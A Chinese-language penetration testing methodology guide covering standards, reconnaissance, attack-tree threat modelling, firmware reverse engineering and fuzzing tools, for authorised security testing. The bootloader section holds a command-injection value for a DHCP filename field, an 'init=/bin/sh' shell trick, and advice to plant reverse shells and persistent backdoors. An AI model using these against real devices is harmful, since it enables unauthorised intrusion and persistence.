1. 渗透测试定义及方法论
1.1 定义
渗透测试时通过模拟恶意黑客的攻击方法,来评估计算机网络系统安全的一种评估方法。测试过程包括对系统的任何弱点、技术缺陷或漏洞的主动分析,该分析过程是从一个攻击者可能存在的位置来进行,并且从这个位置有条件利用安全漏洞。
| 组织或标准 | 定义 |
|---|---|
| NCSC | 一种试图通过使用与攻击者相同的工具和技术来破坏 IT 系统安全性的方法,以试图破坏该系统的部分或全部安全性。 渗透测试应被视为在组织的漏洞评估和管理过程中获得保证的一种方法,而不是识别漏洞的主要方法。 |
| NIST SP 800-53R5 | 渗透测试是一种评估方法,其中评估人员使用所有可用的信息技术产品或系统文档,并在特定约束下工作,试图绕过信息技术产品和系统的已实施的安全和隐私功能。 对执行渗透测试的评估人员有用的信息包括产品和系统设计规范、源代码、管理员和操作手册。 渗透测试可以包括白盒、灰盒或黑盒测试,由熟练的专业人员模拟攻击者行为进行分析。 渗透测试的目的是发现系统、系统组件和服务中由于实现错误、配置错误或其他操作弱点或不足而产生的漏洞。渗透测试可以结合自动和人工代码检视来提供比通常情况下更高水平的分析。 |
| ISO/IEC 27034 | 渗透测试是一种受控的安全测试,旨在利用系统的漏洞来获取(未经授权的)访问。 它由专业的安全专家(道德黑客)在特定的参与规则下,在受控环境中执行。每次渗透测试都会生成一份详细报告,列出发现的漏洞(漏洞利用)及其严重程度。 |
| NIST SP 800-115 | 渗透测试通常使用实际攻击者使用的相同工具和技术,对真实系统和数据进行真实攻击。 大多数渗透测试涉及寻找单个系统或多个系统上的漏洞组合,这些漏洞组合可用于获得比单个漏洞更多的访问权。 |
| WIKI | 渗透测试通常称为渗透测试或道德黑客攻击,是计算机系统上的一种授权的模拟网络攻击,用来评估系统的安全性。 这个过程通常确定目标系统和特定目标,然后审查可用信息,并采取各种手段来实现该目标。 渗透测试可以是白盒(提供背景和系统信息)或黑盒(仅提供基本信息或除公司名称外不提供任何信息)。灰盒渗透测试是这两种测试的组合(共享对目标的有限知识)。 渗透测试可以帮助确定系统是否容易受到攻击,以及测试击败了哪些防御(如果有的话)。 |
1.1.1 与安全测试的关系
- 范围:广义的安全测试包括渗透测试
- 目的:
- 渗透测试:成功入侵系统,证明系统存在安全问题
- 安全测试:发现系统所有可能的安全隐患
- 思维:
- 渗透测试:以攻击者角度来看待和思考问题
- 安全测试:以防护者角度思考问题,尽量发现所有可能被攻击者利用的安全隐患并修复
渗透测试更倾向于指定明确的模拟攻击目标,并具有攻击过程分析,在渗透测试后应用风险分析方法
1.2 常见渗透测试标准
1.2.1 PTES:渗透测试执行标准

1.2.2 ISSAF:信息系统安全评估框架
开源的安全测试框架,框架分为多个不同的域(domain),按照逻辑顺序进行安全评估,通常包含计划、评估、修复、评审、维护阶段。每个域都会对目标系统的不同部分进行测试和评估从而得到多个评估结果,最后将评估结果综合起来形成整体的安全评估。

- 信息收集
- 获取网络映射
- 漏洞识别
- 渗透
- 获取访问权限及提权
- 进一步漏洞利用
- 远程控制用户或站点
- 访问持久化
- 覆盖访问轨迹
2. 信息搜集
信息搜集是对测试对象进行信息的梳理,以便在威胁分析和渗透攻击阶段提供尽可能多的信息,此阶段搜集的信息越多,后续可为提供更多的攻击思路。
2.1 通过搜索引擎搜集敏感信息
- GoogleHacking
- 各种网络安全搜索引擎:fofa,zoomeye,360 网络空间测绘,shodan 等。
2.2 开源平台搜集敏感信息
- github
- 其余开源社区
2.3 产品资料搜集
通过产品资料可以直观的了解产品功能、业务流程及安全风险等,同时收集开放端口、默认口令、三方件清单等敏感信息。
- 产品资料:了解产品架构、安全威胁、暴露面等,从系统架构层面识别产品风险。
- 产品文档:物理接口、逻辑接口、协议接口等
- 产品系统架构设计说明书、产品安全设计说明书
- 安全白皮书
- 版本配套表
- 通信矩阵
- 特性设计说明书
- 安全性威胁分析及需求说明书
- 产品测试数据:分析产品测试是否存在遗漏环节。
- 产品测试报告
- 前面版本的渗透测试报告
- 工具扫描报告
- 产品信息:分析产品是否存在未解决的高危开源漏洞,代码层面白盒分析。
- 产品操作系统类型、版本,平台信息、版本。
- 组件及开源第三方、web容器、数据库类型、版本。
- 产品源代码
- 产品版本包、产品配置项
- 其他信息收集:产品薄弱项识别
3. 威胁分析
威胁分析的主要方法威胁建模,目的是识别目标系统面临的威胁。对于威胁建模业界有多种方法,其中应用最广泛的有 STRIDE、攻击树、TVRA。下面对三种常用的威胁建模方法进行对比:
| STRIDE | 攻击树 | TVRA | |
|---|---|---|---|
| 基本思路 | 将业务进行数据流化处理,再根据6个安全维度对系统进行威胁建模 | 从攻击者的角度,通过树状图来描述攻击路径,是典型的黑客逆向思维的模式 | 通过资产被攻击的可能性及分攻击的后果来分析安全风险 |
| 关注点 | 面向软件 | 面向攻击,为达目的不择手段 | 面向资产 |
| 标准化程度 | 较高,结构化数据流图和威胁模型 | 较低 | 较低 |
| 规范化程度 | 较高(威胁模型+头脑风暴) | 较低(主要依赖于攻击经验和头脑风暴) | 一般(主要是头脑风暴) |
| 业界应用 | 微软及业界较多公司 | 英国政府、安全研究机构 | 爱立信(eTVRA) |
| 输出结果 | 系统脆弱点、风险、消减措施 | 对系统可能的攻击方法&路径 | 系统脆弱点、风险 |
| 人员技能要求 | 较高 | 高 | 较高 |
| 优势 | 基于数据流图的分析,流程比较规范,自动化程度高,对人员技能要求相对较低 | 能对目标进行深入全面的攻击路径分析 | 目标明确,以资产的纬度进行风险管理,比较适合对复杂系统在宏观上的分析 |
| 劣势 | 偏向防御,攻击思维相对较弱 | 标准化程度低,对人员安全攻击背景和技能要求高,适合安全专业研究组织/个人 | 对分析人员的产品熟悉度要求较高,具备一定的安全背景,攻击思维相对较弱 |
攻击树更接近渗透测试,是一种基于攻击目标的安全设计/威胁分析方法,可以以一种树形结构条理清晰的描述系统所面临的安全威胁,以及可能遭受的各种攻击方法。在渗透测试中可将被测产品的价值资产等价于攻击目标。通过对被测产品价值资产的梳理,结合产品的业务流,可识别出具体的攻击路径,并梳理出攻击路径上的相关渗透测试方法。
3.1 价值资产识别
价值资产:价值资产是系统相关的能够为攻击者带来价值的资产,一般是系统对外提供的服务或者业务。从攻击者视角看,价值资产是攻击者的攻击目标。注意和“关键资产”的概念相区分,关键资产是从设计者视角看到的对系统有关键影响的内部资源。
白盒威胁分析方法:产品领域威胁分析要基于业务场景和提供的客户服务,对解决方案进行深度分析,识别出潜在攻击者的攻击意图;并基于攻击者视角,通过攻击意图,识别出系统中的价值资产;再围绕系统暴露面、可利用的内部缺陷/漏洞等,对价值资产进行威胁分析和防御设计。
3.1.1 基于业务场景的攻击意图分析方法
参考产品相关资料分析业务场景时,分析产品在解决方案中的位置(解决方案整体视图)、产品所处的物理环境、产品与周边网络产品/设备的边界、产品与周边主要交互的业务流、控制流等,通过业务场景来识别潜在攻击者及攻击意图。
- 业务分析需要基于对客户提供的服务展开。需要从最终业务对网络的可信要求来展开分析。
- 场景分析要基于具体的组网场景以及设备所放置的物理环境。通过具体的组网场景可以识别出系统上下文,包括暴露面以及攻击向量,用于支撑后续的威胁分析。设备所放置的物理环境的不同决定了攻击行为的发生的不同模式。
3.1.2 攻击意图分析
| 攻击者类型 | 特征 | 攻击意图 |
|---|---|---|
| 一般黑客 | 精通网络软硬件技术,喜欢寻找系统漏洞并实施攻击 | 1. 发现系统漏洞以求扬名或奖励 2. 窃取价值数据获利(个人数据、用户数据等) |
| 非法组织/竞争对手 | 高水平专业知识和丰富资源,目的通常是破坏关键设施/网络,或阻碍某项任务的正常进行,目标攻击时间长(APT 攻击) | 1. 阻碍服务正常提供,破坏网络或设备,例如 DDOS、错报文设备传输内容,获取机密信息 2. 窃取设备传输内容,获取机密信息 |
| 黑产组织 | 有产业链支撑,目的主要是非法利用系统资源或服务获取经济利益 | 1. 获取系统资源/服务(薅羊毛、偷流量等) 2. 阻碍服务正常提供,破坏网络或设备,例如 DDOS、错报文 3. 劫持设备,发起跳板攻击 |
| 内部人员 | 熟悉产品环境、业务、操作等,可能还有账号权限 | 1. 利用内部信息获利 |
3.1.3 基于攻击意图的价值资产识别方法
产品应该从识别出的攻击者的视角出发,根据攻击意图,识别出相关的价值资产。价值资产的机密性、完整性、可用性受损时,对系统/产品的安全和利益造成严重损害,对业务造成严重冲击。
- 数据资产:系统通过设备采集、用户操作产生的数据,以及在处理这些数据过程中产生的数据
- 服务资产:系统面向人、机提供的各种功能、服务等,以及支持这些功能实现的各种可复用机制;
- 软件资产:部署、升级系统所需要的软件包、补丁包、组件包,设备的软件包、升级包;
- 硬件资产:系统部署所需要的硬件,如机柜、电源、交换机、服务器、磁阵等设备。
资产分类:
- 数据:
- 个人数据:自然人的 email 地址、电话号码、生物特征(指纹)、位置数据、IP 地址、医疗信息、宗教信仰、社保号、婚姻状态等。
- 高影响个人数据:通信录、短信、即时通信内容(微信等社交软件)、通话记录、照片、视频、录音、生物特征标识(指纹、虹膜)、精确位置信息、银行账号、权威社会识别号(身份证号、护照号、驾照号、社会保障号等)、健康信息、口令、面部特征标识、DNA 序列和抽样、用户喜好和行为习惯、浏览记录、种族血统、政治观点、宗教或哲学信仰、性生活、犯罪记录、工会记录、儿童信息等。
- 中影响个人数据:姓名、详细通信地址、邮政编码、年龄、出生日期、婚姻状况、家庭成员、电话号码、传真号码、邮箱地址、IMEI、IMSI、一般位置数据、IP 地址、MAC 地址、信用卡交易信息、财务信息、车牌号等。
- 低影响个人数据:例如:国家、省/市、性别、国籍、出生地、教育程度、最终用户终端设备的配置数据、账号等。
- 被攻击损失:个人隐私数据泄露,导致重大法务风险,严重损害公司声誉。
- 个人数据:自然人的 email 地址、电话号码、生物特征(指纹)、位置数据、IP 地址、医疗信息、宗教信仰、社保号、婚姻状态等。
- 服务:
- 基础监控服务:告警监控服务、态势感知功能等。
- 被攻击损失:设备脱管,无法进行正常的基本情况监控,网络无法正常维护。
- 基础运维服务:业务管理服务、运维服务等。
- 被攻击损失:设备脱管,无法进行基本的运维操作,网络无法正常管理。
- 业务服务:提供正常服务的能力,比如信息服务、网络服务、办公服务、端侧支付业务等。
- 被攻击损失:设备无法为客户提供正常的服务。
- 基础监控服务:告警监控服务、态势感知功能等。
- 软件:
- 应用软件:软件包、补丁包、适配层/组件包、工具等
- 被攻击损失:系统无法正常部署/升级,或者系统工作异常,设备无法连接;或者在系统上运行其他无法应用,攻击者间接获取价值;资产泄露可能通过逆向工程获取软件包中的关键/机密信息,从而降低攻击者攻击网络的难度。
- 系统软件:操作系统镜像/设备驱动程序/数据库软件等
- 被攻击损失:可能被植入恶意程序,利用系统漏洞获取系统高级权限,可以执行任意程序,从而使攻击者可以任意控制整个系统。
- 应用软件:软件包、补丁包、适配层/组件包、工具等
- 硬件:
- 服务器/磁阵/网络设备/机柜/电源等
- 被攻击损失:资产被偷盗可能导致隐私数据泄露;硬件资源被篡改导致恶意攻击。
3.2 高风险模块识别
高风险模块的分析可参考如下维度:
- 设备或系统对外提供的所有管理和控制接口相关的代码(如:网管配置管理接口、Telnet、FTP、MML、路由协议、信令接口等);
- 对不可信来源的数据进行解析或处理的代码(如:用户面数据处理、网络或应用协议解析、文件解析等模块、计费策略或者逻辑处理);
- 安全相关类代码(如:认证、授权、接入控制、加解密、密钥管理、日志审计、软件完整性保护等模块);
- 集中处理个人数据或者敏感数据的代码(如:敏感数据匿名化);
- WEB 模块(如:HTTP 协议头处理处理模块、文件/图片上传处理模块、SQL/LDAP/XML 语句处理模块、Response HTML 输出模块 );
在渗透测试过程,威胁分析中绘制的攻击树中的路径可能会比较多,而涉及高风险模块的路径风险等级相对较高,优先针对涉及高风险模块的路径开展渗透测试,从而在工作量、成本与安全性之间达到平衡。
3.3 攻击树分析
3.3.1 攻击目标
在攻击树中,攻击目标并不是指操作系统、服务器、主机、产品软件等,而是更加具体的目标,如获取服务器root权限、获取软件操作权限等,只有明确攻击目标以后才能准确进行攻击树分析
3.3.2 攻击树绘制要求
- 根节点:攻击目标就是攻击树的根结点,在攻击树的最顶端。
- 内部结点:攻击树中的中间节点,它不是攻击目标,但却是到达攻击目标的必经的节点,内部节点可以向下分解更多的节点,将根节点和叶子节点连接起来。
- 叶子节点:表示具体达成攻击目标的方法,不能再分解,叶子节点可以为攻击模式/攻击方法的描述,保持攻击树的完整性。
- 与连接:表示对应的多个子节点必须同时达成,父结点才能达成。
- 或连接:表示对应的多个子节点中有1个节点能达成,父结点就可以达成。
4. 渗透攻击
在渗透攻击阶段,渗透测试人员会基于上一阶段分析的攻击路径进行渗透攻击,即漏洞挖掘,并基于发现的漏洞进行实际的漏洞利用,准确评估漏洞的影响。如果实施的攻击可以获取目标权限,则可以继续进行权限提升,获得更高的权限,并尝试进行持久化,维持对目标系统的访问权限。
4.1 漏洞挖掘
漏洞挖掘是渗透测试人员发现可以利用的系统和应用缺陷的过程,漏洞的范围从目标系统的错误配置到不安全的程序设计。在漏洞挖掘过程中,要重点关注外部协议、接口,一些常见的容易引发问题的接口包括管理类接口、文件上传/下载接口、开放编程接口、协议数据解析接口等。
漏洞挖掘常用思路:
- 正向:遍历功能,从功能入口点开始深入分析找到漏洞点。
- 反向:从高位函数/不安全函数开始反向追溯调用链,查看整个调用过程是否存在过滤机制以及过滤机制是否完整。
主要漏洞挖掘方法:
- 代码审计
- 流量分析
- 逆向分析
- 模糊测试
4.1.1 代码审计
代码审计是一种常用的漏洞挖掘方法,是在获得目标源代码后对源码进行分析寻找漏洞的过程。代码审计可以逐个阅读目标程序暴露的每个攻击面的代码,跟踪攻击面暴露的接口处理数据的流程,分析程序处理数据时存在的问题。代码审计依赖于个人的经验和能力,通常效率不高,但是代码审计可以对程序做很深入的发现,往往能发现模糊测试难以发现的逻辑漏洞等问题。针对不同的测试目标和开发语言,提供一些通用的方法和工具。
4.1.1.1 web 类
以 java 语言为主,针对常见 web 漏洞进行审计,例如命令注入,重点关注可能存在命令拼接的功能以及代码中系统命令的执行函数,如 processBuilder、exec 等。重点分析命令过滤是否完善,黑白名单是否可以绕过。
更多 web 漏洞的审计方法可以参考《web 白盒渗透测试指导书》
4.1.1.2 C 语言类
C 语言常见漏洞:整数溢出、缓冲区溢出、UAF 类。
4.1.2 流量分析
流量分析是通过分析客户端与服务端之间的通信流量,挖掘潜在的漏洞。流量分析比较适用于可以人工查看和修改的文本协议,例如 HTTP 协议,一些代理工具如 burpsuite 可以比较方便的拦截、查看和修改 HTTP 报文,是 web 领域进行漏洞挖掘的利器。
4.1.3 逆向分析
固件是嵌入式设备的核心,也是我们分析硬件设备其他组件前,希望从固件分析开始的原因,根据设备面向的行业,提取固件镜像并对其内容进行逆向工程,如果遇到专用保护措施,逆向分析过程将会更加困难和更加耗时。渗透测试人员在进行固件逆向时最关注内容包括:口令、API Token、服务漏洞、后门账户、配置文件、源代码、私钥、数据存储等。 固件逆向包括以下几项基本过程:
- 获取固件
- 分析固件:功能、特性
- 提取文件系统
- 分析文件系统内容:静态分析提取的文件系统的配置文件和二进制文件中的漏洞
- 仿真固件:模拟固件文件和组件
- 动态分析:根据固件和应用程序接口进行动态测试
- 运行时分析:在设备运行时分析编译的二进制文件
- 二进制利用:利用发现的漏洞,实现命令执行
4.1.3.1 获取固件
- 从开发团队、制造商、供应商、客户获取
- 使用制造商提供的项目重新编译
- 从供应商的支持网站下载
- 通过 UART、JTAG、PClit 等直接从硬件中获取固件
- 嗅探硬件组件内的串行通信以更新服务器请求
- 更新时通过 MITM 中间人流量截获
- 针对文件扩展名和文件共享平台(例如 Google、Dropbox、网盘)通过搜索引擎搜索
- 从暴露的云提供商存储(例如 Amazon Web Services(AWS)S3)下载 Build 版本
- 通常用户会将固件上传到论坛、博客或者在与制造商联系以解决问题并通过 zip 或 flash 驱动器获得固件的网站上申请固件
- 反编译相关移动应用,通过移动应用程序内的硬编码端点获取固件
- 将固件从引导加载程序(例如 U-boot)转储到 flash 或通过 tftp 网络转储
- 从硬件板卡上拆 flash 芯片(例如 SPI)或 MCU,进行离线分析和数据提取(需要受支持的芯片编程器来存储 flash 或 MCU)
4.1.3.2 分析固件
- 一般通过对其逆向以查看内部组件。固件的内部组件包括 bootloader、内核、文件系统以及其他内容。其中文件系统包含了关键信息,当然也可以分析 bootloader 并查看其中的内容,如果可能的话,还可以篡改固件并构建新的固件。
- 固件是一个二进制文件压缩包,文件系统只是其中的一个组件,一般存储在二进制固件的特定偏移地址中。为了找到这些文件系统的信息,一般使用 binutils 系列工具
4.1.3.3 提取文件系统
需要查看固件内部并解析相关文件系统数据,以识别尽可能多的潜在安全问题。
4.1.3.4 分析文件系统
- 手动静态分析文件系统内容和未编译的代码:
- 传统的不安全网络守护程序,例如 telnetd(有时会伪装重命名文件)
- 硬编码的凭证(用户名,密码,API 密钥,SSH 密钥和后门变体)
- 硬编码的 API 端点和后端服务器详细信息
- 可用作入口点的服务器更新函数
- 查看未编译的代码并启动脚本执行远程代码
- 提取已编译的文件,进而通过反汇编程序进行脱机分析以供将来使用
- 利用自动化工具来分析内容:
/etc/shadow和/etc/passwd- 列出
/etc/ssl目录 - 与 SSL/TLS 相关的文件,例如
.pem,.crt等 - 配置文件、脚本文件
- 其他
.bin文件 - 查找诸如 admin,password,remote,AWS key 等关键字
- 物联网设备上使用的通用 Web 服务器
- 常见的文件,例如 ssh,tftp,dropbear 等
- 禁止的 C 函数
- 常见的命令注入易受攻击的函数
- URL,电子邮件地址和 IP 地址
开源自动固件分析工具包括 Firmwalker 工具、固件分析工具包(FACT)或者使用 IDA Pro,Ghidra,Hopper,Capstone 或 Binary Ninja 从 FACT 收集的数据来分解可疑目标文件。分析文件以查找潜在的远程代码执行系统调用,字符串,函数列表,内存损坏漏洞,并标识对 system()或类似函数的外部调用。
4.1.3.4.1 常见的二进制分析包括以下内容
- 启用或禁用 stack canaries;
- 启用或禁用与位置无关的可执行文件(PIE);
- 可识别的字符串;
- 打印任何大于16的 ASCII 字符串;
- 启用或禁用不可执行(NX);
- 重定位只读(RELRO)配置;
4.1.3.4.2 FACT 固件分析比较工具包分析内容如下
- 标识软件组件(如:操作系统、CPU 体系结构和第三方组件)及其关联的版本信息
- 从映像中提取固件文件系统
- 检测证书和私钥
- 检测 CWE
- 基于提要和签名的漏洞检测
- 基于静态行为分析
- 固件版本和文件的比较(差异)
- 使用 QEMU 对文件系统中的二进制文件进行用户仿真
- 缓冲区溢出防护机制 NX, DEP, ASLR, stack canaries, RELRO, and FORTIFY_SOURCE
- REST API
4.1.3.4.3 二进制文件分析:
- 可使用工具: IDA Pro、Ghidra、Hopper、Capstone 或 binary Ninja 进行分析;
- 二进制文件选取及分析内容:可以选择从 FACT 获取的可疑内容,或针对漏洞利用点进行查找分析,如:
- 系统调用、字符串、函数列表、易产生内存损坏,对 system() 或类似函数调用等
- 分析二进制文件的常见功能点(使用 readelf 工具)
- 是否启用 Stack canaries(堆栈保护机制)
- 是否启用 Position-independent executable (PIE) 地址无关可执行文件
- DSO(dynamic shared object)动态共享目标文件
- Symbols 动态链接库和符号
- 可识别的字符串:
-el指定 16 位宽的小端字符(如:UTF-16)-eb使用大端- 将任何大于 16 的 ASCII 字符串打印到 stdout
-t将返回文件中字符串的偏移量-tx以十六进制格式返回,-td以八进制和十进制表示 T-to- 与十六进制编辑器进行交叉引用,或字符串在文件中的位置
- 是否启用 Non-executable (NX) (应该是一种数据保护 DEP)
- RELRO ( RELocation Read-Only,只读重定位)(一种用于加强对二进制数据段的保护技术)配置
- 对于 Microsoft 二进制文件(EXE、DLL),使用 PESecurity 检查 ASLR, DEP, SafeSEH, StrongNaming, Authenticode, Control Flow Guard 和 HighEntropyVA
4.1.3.5 仿真固件
4.1.3.5.1 用户模式仿真
需要了解 CPU 架构和字节序,选择适当的 QEMU 仿真文件。确定了 CPU 的体系结构和字节序后,找到适当的 QEMU 文件以执行部分仿真,将适用的 QEMU 文件复制到提取的根文件系统中。执行 ARM 文件(或适当的体系结构)以使用 QEMU 和 chroot 命令进行仿真。
4.1.3.5.2 全系统仿真
使用 Firmadyne 固件分析工具包或 ARM-X 固件仿真框架等自动化工具来执行固件的完整仿真。如果固件包含不常见的压缩,文件系统或不支持的体系结构,则可能需要修改这些工具。
为了完成仿真固件,下面列出了几种方法:
- 部分仿真(用户空间)仿真从固件提取的文件系统(例如)获得的
/usr/bin/shellback独立文件- 获取目标的 CPU 架构和字节序,然后选择适当的 QEMU 仿真二进制文件
- 确定了 CPU 的体系结构和字节序后,找适用的 QEMU 二进制文件来执行部分仿真(从文件系统中提取出的二进制文件)
- QEMU 二进制文件通常所在目录:
/usr/local/qemu-arch或/usr/bin/qemu-arch - 将 QEMU 二进制文件复制到提取的文件系统的根目录中
- 执行 ARM 二进制文件(或其他的体系结构)使用 QEMU 和 chroot 进行仿真
- QEMU 二进制文件通常所在目录:
- 完整的系统仿真完整的固件仿真和利用伪造的 NVRAM 启动配置
- 使用自动化工具来进行固件的完整仿真,自动化工具:firmadyne、固件分析工具包、ARM-X 固件仿真框架,这些工具实质上是 QEMU 和其他环境功能(如:nvram )的包装器
- firmware-analysis-toolkit
- armx
- firmadyne
- qltool
- 使用自动化工具来进行固件的完整仿真,自动化工具:firmadyne、固件分析工具包、ARM-X 固件仿真框架,这些工具实质上是 QEMU 和其他环境功能(如:nvram )的包装器
- 使用虚拟机进行仿真时,由于硬件或体系结构的依赖性,部分或全部仿真可能无法正常工作。如果架构和字节序与拥有的设备(例如树莓派)匹配,则可以将根文件系统或特定文件传输到该设备以进行进一步测试。此方法还适用于使用与目标相同的体系结构和字节序的 Build 虚拟机。
4.1.3.6 动态分析和漏洞挖掘
需要在设备正常或仿真环境中运行时执行动态测试。通常,涉及修改引导程序配置,Web 和 API 测试,Fuzz(网络和应用程序服务),以及使用各种工具集进行主动扫描以获取 root 访问权限或代码执行。
- 篡改引导程序配置
- web 和 api 测试
- 模糊测试(网络和应用程序服务)
- 使用各种工具集进行的主动扫描以获取提升访问权限或代码执行
- burpsuite
- owasp zap
- commix
- fuzzers(例如:afl、peach)
- nmap
- ncrack
- metasploit
- unicorn
重点进行 web 应用渗透测试、引导加载程序测试、固件完整性测试、运行时分析测试。使用的基本运行时分析工具包括:gdb-multiarch、Peda、Frida、ptrace、strace、IDA Pro、Ghidra、Binary Ninja、Hopper。
4.1.3.6.1 嵌入式 web 应用程序测试
- 诊断和故障排除页面可能存在命令注入
- 验证和授权方案对整个固件中的应用程序和操作系统平台的相同框架进行验证
- 默认的用户名、密码
- 在网页执行目录遍历或文件读取,以识别调试或测试功能
- 在 SOAP/XML 和 API 传输中的输入检查,如:XSS 和 XXE
- 跟踪观察应用程序中的参数查看异常点和堆栈溢出点
- 常见的 C/C++ 漏洞、常见的嵌入式 Web 应用程序的有效负载,如:内存损坏漏洞、格式字符串缺陷、整数溢出
4.1.3.6.2 引导加载程序测试
修改设备的引导加载程序时,可以进行如下操作:
- 在引导过程中加“0”、空格、或其他标识的“魔术代码”来获取 shell
- 修改配置以执行 shell 命令,如:引导参数末尾“init=/bin/sh”
- 设置一个 tftp 服务器,从本地通过网络加载远程图像(前提是设备有网络访问权限)
- 使用 ubootwrite.py 编写 uboot-image 并且安装修改过的固件来获取 root
- 查看启用的调试功能,如:详细记录、加载任意内核、从不受信任的来源引导
- 使用警告:使用引脚连接主板,观察设备启动顺序,在内核解压缩之前,将连接主板的引脚短路或者连接到 SPI 闪存芯片上的数据引脚(DO)
- 使用警告:使用引脚连接主板,观察设备启动顺序,在内核解压缩之前,在 U-boot 对 UBI 映像解压缩时,将连接主板的引脚短路或连接到 NAND 闪存芯片的引脚
- 在短接引脚之前请查看 NAND 闪存芯片的数据表
- 使用恶意参数配置恶意 DHCP 服务器作为设备在 PXE 引导期间提取的输入
- 使用 Metasploit DHCP 辅助服务器,进行命令注入,比如修改参数 FILENAME 为
a";/bin/sh;#,来测试设备启动过程的输入验证
- 使用 Metasploit DHCP 辅助服务器,进行命令注入,比如修改参数 FILENAME 为
4.1.3.6.3 固件完整性测试
尝试上传自定义固件或编译过的二进制文件,来检测完整性或签名验证漏洞。可设置后门点:启动脚本引用、某些链接、依赖不受信任的安装位置(如:SD 卡)或用位于根文件系统外部存储数据的 flash 的代码时触发。
若在动态分析后,通过操纵引导加载程序或其他的硬件安全测试手段获得了 root shell,尝试执行预编译恶意二进制文件(即在二进制文件中植入程序或反向 shell),可通过使用自动化的有效载荷或工具( C&C )框架进行命令执行和控制。
最后,尽可能的在启动脚本中设置对设备持久访问的后门,保证重新启动后也有设备的访问控制权。
在从之前的步骤中识别出文件中的漏洞之后,需要适当的概念验证(PoC)来证明现实的影响和风险。开发漏洞利用代码需要具有较低级语言(例如 ASM,C / C ++,shellcode 等)的编程经验,以及特定目标体系结构(例如 MIPS,ARM,x86等)中的背景知识,PoC 代码涉及通过控制内存中的指令在设备或应用程序上获得任意执行。
如果存在二进制运行时保护措施时(例如 NX,DEP,ASLR 等),需要使用其他技术进行绕过,例如 ROP 技术:ROP 允许攻击者通过链接目标进程/二进制代码(称为 gadget)中的现有代码来实施恶意攻击,如果需要通过 ROP 链进行缓冲区溢出的情况,可借助工具 Capstone’s gadget finder 或者 ROPGadget。
4.1.3.7 固件分析工具
常用固件分析工具:
- FACT 固件分析比较工具包:About — FACT documentation
- fwanalyzer:GitHub - cruise-automation/fwanalyzer: a tool to analyze filesystem images for security
- firmwalker:GitHub - craigz28/firmwalker: Script for searching the extracted firmware file system for goodies!
- firmware-mod-kit:Google Code Archive - Long-term storage for Google Code Project Hosting.
- firmadyne:GitHub - firmadyne/firmadyne: Platform for emulation and dynamic analysis of Linux-based firmware
- bytesweep:ByteSweep / bytesweep · GitLab
- binwalk:GitHub - ReFirmLabs/binwalk: Firmware Analysis Tool
- Flashrom:flashrom
- openocd:Open On-Chip Debugger
- angr:angr
- checksec.sh:Checksec | A tool used to quickly survey mitigation technologies in use by processes on a Linux system.
- chipsec:GitHub - chipsec/chipsec: Platform Security Assessment Framework
- qilingframework:Qiling Framework
- triton:Triton: A dynamic binary analysis library
4.1.4 模糊测试
模糊测试是通过随机数生成的方法构建测试输入数据,将生成的随机数据输入到目标程序,并通过监控目标程序在处理这些输入的随机数据时发生的行为来发现漏洞的过程。模糊测试(Fuzzing)是一种公认的成熟的漏洞挖掘方法,模糊测试已经经历了3代的发展。
第一代 fuzzer 叫做 dumb fuzzer,完全采用随机的方式来生成测试用例,只需要分析清楚目标程序的攻击面和可以访问的接口,不需要对目标程序有太多的了解。
第二代 fuzzer 叫做 smart fuzzer,由于 dumb fuzzer 完全采用随机的方式,构造出的测试用例输入到目标程序很可能大都是无效的输入,导致只能测试出比较浅的问题,对目标程序测试不够。smart fuzzer 是在 dumb fuzzer 的基础上对目标程序做出更深入的分析,了解更多目标程序合法输入的信息,用于测试用例的构造上,大大的提升了测试用例的有效性,可以发现更深入的代码的问题。
第三代 fuzzer 叫做 guided fuzzing,通过对目标程序进行插桩,收集目标程序在执行测试用例时执行了哪些代码块的信息,把能增加代码块覆盖率的测试用例保留下来,在这些用例基础上进行变异,覆盖更多的代码块。常见的 guided fuzzing 有 AFL、libFuzzer、syzkaller。
4.1.4.1 American Fuzzy Lop
官网:american fuzzy lop
AFL 是最流行的 Fuzzing 工具之一,被广泛使用来对各种目标程序进行 Fuzzing 测试,发现了大量的漏洞。AFL 的工作原理是,首先挑选出一些测试用例作为种子,AFL 会将这些初始的测试用例加入到一个队列中,每次都从这个队列中取出一个测试用例,尝试将其修整到一个最小值,并且不会改变目标程序的行为,然后对这个修整后的测试用例使用各种 fuzzing 策略进行变异,监控目标程序在处理这些测试用例时是否增加了新的代码路径,如果是的话就将这个测试用例加入到队列中,反复这个过程。
AFL 有一个界面可以看到 Fuzzing 的一些状态,需要对标红的地方要注意一下。
AFL++ 源码地址:GitHub - AFLplusplus/AFLplusplus: The fuzzer afl++ is afl with community patches, qemu 5.1 upgrade, collision-free coverage, enhanced laf-intel & redqueen, AFLfast++ power schedules, MOpt mutators, unicorn_mode, and a lot more!
新版官网:The AFL++ fuzzing framework | AFLplusplus
4.1.4.2 libFuzzer
安卓模糊测试工具,libFuzzer – a library for coverage-guided fuzz testing. — LLVM 19.0.0git documentation
4.1.4.3 syzkaller
源码地址:GitHub - google/syzkaller: syzkaller is an unsupervised coverage-guided kernel fuzzer
syzkaller 起初是由 Google 开发来测试 Linux 内核的,后来扩展到了 Darwin/XNU、Windows、Fuchsia、gVisor 等内核,主要测试内核的系统调用接口。syzkaller 是用 Go 语言开发。
syzkaller 的工作框架如下图所示,主要由 syz-manager、syz-fuzzer 和 syz-executor 组成,syz-manager 运行在 host 主机上,syz-fuzzer 和 syz-executor 运行在 guest 机器上。

syz-manager 会负则虚拟机的管理,根据配置文件中的 target 和 vm 信息启动相应的虚拟机,并对齐进行监控、重启等工作,通过 ssh 将 syz-fuzzer 和 syz-executor 上传到虚拟机中,并启动执行 syz-fuzzer。还会根据配置中的 http 信息启动一个 http server,可以通过浏览器访问这个 http server 查看 syzkaller 的运行状态和相关数据。syz-manager 还负责测试用例集和 crash 信息的管理。
syz-fuzzer 程序一方面会启动 syz-executor 程序,通过 IPC 机制将测试用例发送给 syz-executor,由 syz-executor 去执行测试用例,syz-fuzzer 负责测试用例的生成、变异、最小化等操作;另一方面 syz-fuzzer 还负责收集 syz-executor 执行测试用例时的代码覆盖信息,把触发新的代码块的测试用例通过 RPC 发送给 syz-manager。
syz-executor 程序是用 C++语言实现的,syz-executor 功能比较简单,主要执行 syz-fuzzer 发送过来的测试用例并返回结果。
4.1.4.4 peach
官网地址:Peach Fuzzer
4.2 漏洞利用与防御绕过
4.2.1 缓冲区溢出
